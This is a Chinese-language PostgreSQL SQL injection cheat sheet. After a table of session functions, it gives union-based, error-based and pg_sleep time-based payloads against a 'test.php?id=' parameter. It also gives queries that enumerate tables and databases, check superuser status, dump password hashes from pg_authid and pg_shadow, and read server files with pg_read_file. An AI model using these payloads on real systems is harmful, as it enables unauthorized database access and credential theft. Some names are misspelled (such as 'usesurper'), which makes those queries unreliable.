1.会话信息函数
名称 | 返回类型 | 描述 |
---|---|---|
current_catalog | name | 当前数据库名(在SQL标准里叫”catalog”) |
current_database() | name | 当前数据库名 |
urrent_schema[()] | name | 当前模式名 |
current_schemas(boolean) | name[] | 搜索路径中的模式名字,包括可选的隐式模式 |
current_user | name | 当前执行环境下的用户名 |
current_query() | text | 执行当前的文本查询,由客户端提交(可能包含多于1句) |
pg_backend_pid() | int | 连接到当前会话的服务器进程 ID |
pg_listening_channels() | setof text | 正在侦听的当前会话的信道名称 |
inet_client_addr() | inet | 连接的远端地址 |
inet_client_port() | int | 连接的远端端口 |
inet_server_addr() | inet | 连接的本地地址 |
inet_server_port() | int | 连接的本地端口 |
pg_my_temp_schema() | oid | 会话的临时模式的OID ,不存在则为 0 |
pg_is_other_temp_schema(oid) | boolean | 是否为另一个会话的临时模式? |
pg_postmaster_start_time() | timestamp with time zone | 服务器启动时间 |
pg_conf_load_time() | timestamp with time zone | 配置加载时间 |
session_user | name | 会话用户名 |
user | name | 等价于current_user |
version() | text | PostgreSQL版本信息 |
标黑的为常用函数.
2.注入
回显方式
- test.php?id=1 order by 5–+判断字段
- test.php?id=-1 union select null,null,null,null,null–+//需要判断字段类型,先用null填充
- test.php?id=1 union select null,’1‘,null,null,null–+//测试类型和回显位置
- test.php?id=1 union select null,version(),null,null,null–+ //查看数据库信息,其他注入语句类似
错误回显方式
- test.php?id=1 and 1=(select version())::int–+
- test.php?id=1 and 1=(select version() as int)–+
延时方式
- test.php?id=1;select pg_sleep(10)–+
基本语句:
- SELECT table_name FROM information_schema.tables WHERE table_schema = ‘public’ limit 1 offset n;//table_schema = ‘public’排出系统表,表
- SELECT column_name FROM information_schema.columns WHERE table_name =’table’ limit 1 offset n; //字段
- select relname from pg_class limit 1 offset n;//获取表名
- select oid from pg_class where relname=tablename;//获取oid
- select attname from pg_attribute where attrelid=16402 limit 1 offset n;//获取列名
- select attname from pg_attribute where attrelid=(select oid from pg_class where relname=(select relname from pg_stat_user_tables limit 1 offset 1)) limit 1 offset 1; //合并前三个
获取数据库名 //pg不能跨库,只能在终端上切换(以下两个功能一样)
- select datname from pg_database limit 1 offset 1;
- select datname from pg_stat_database limit 1 offset 1;
判断当前用户是否为超级用户(返回值为bool)
- select usesurper from pg_user where usename=current_user;
- select usesurper from pg_shadow where usename=current_user;
获取数据库帐号hash(此帐号也会在系统中建立,需usesurper权限查看)
- select rolname,rolpassword from pg_authid ;
- select usename,passwd from pg_shadow;
获取pg安装路径
- SELECT current_setting(‘hba_file’) ;
3.系统函数
pg_logdir_ls(),pg_ls_dir(),pg_file_rename(),pg_write_file(), pg_read_file(),pg_file_length() 为内置函数,可以进行读写等操作,不过他们都被限制在pg的指定目录下,也是鸡肋
如:select pg_read_file(‘global/pg_database’,0,10000000);
4.基本操作符
– ,/* //注释符
:: //PostgreSQL 特有的类型转换操作符
|| // 连接符
$q$text$q$ //$$ 之间可以是任意内容,来代替单引号。原理看这:$q$逃逸语法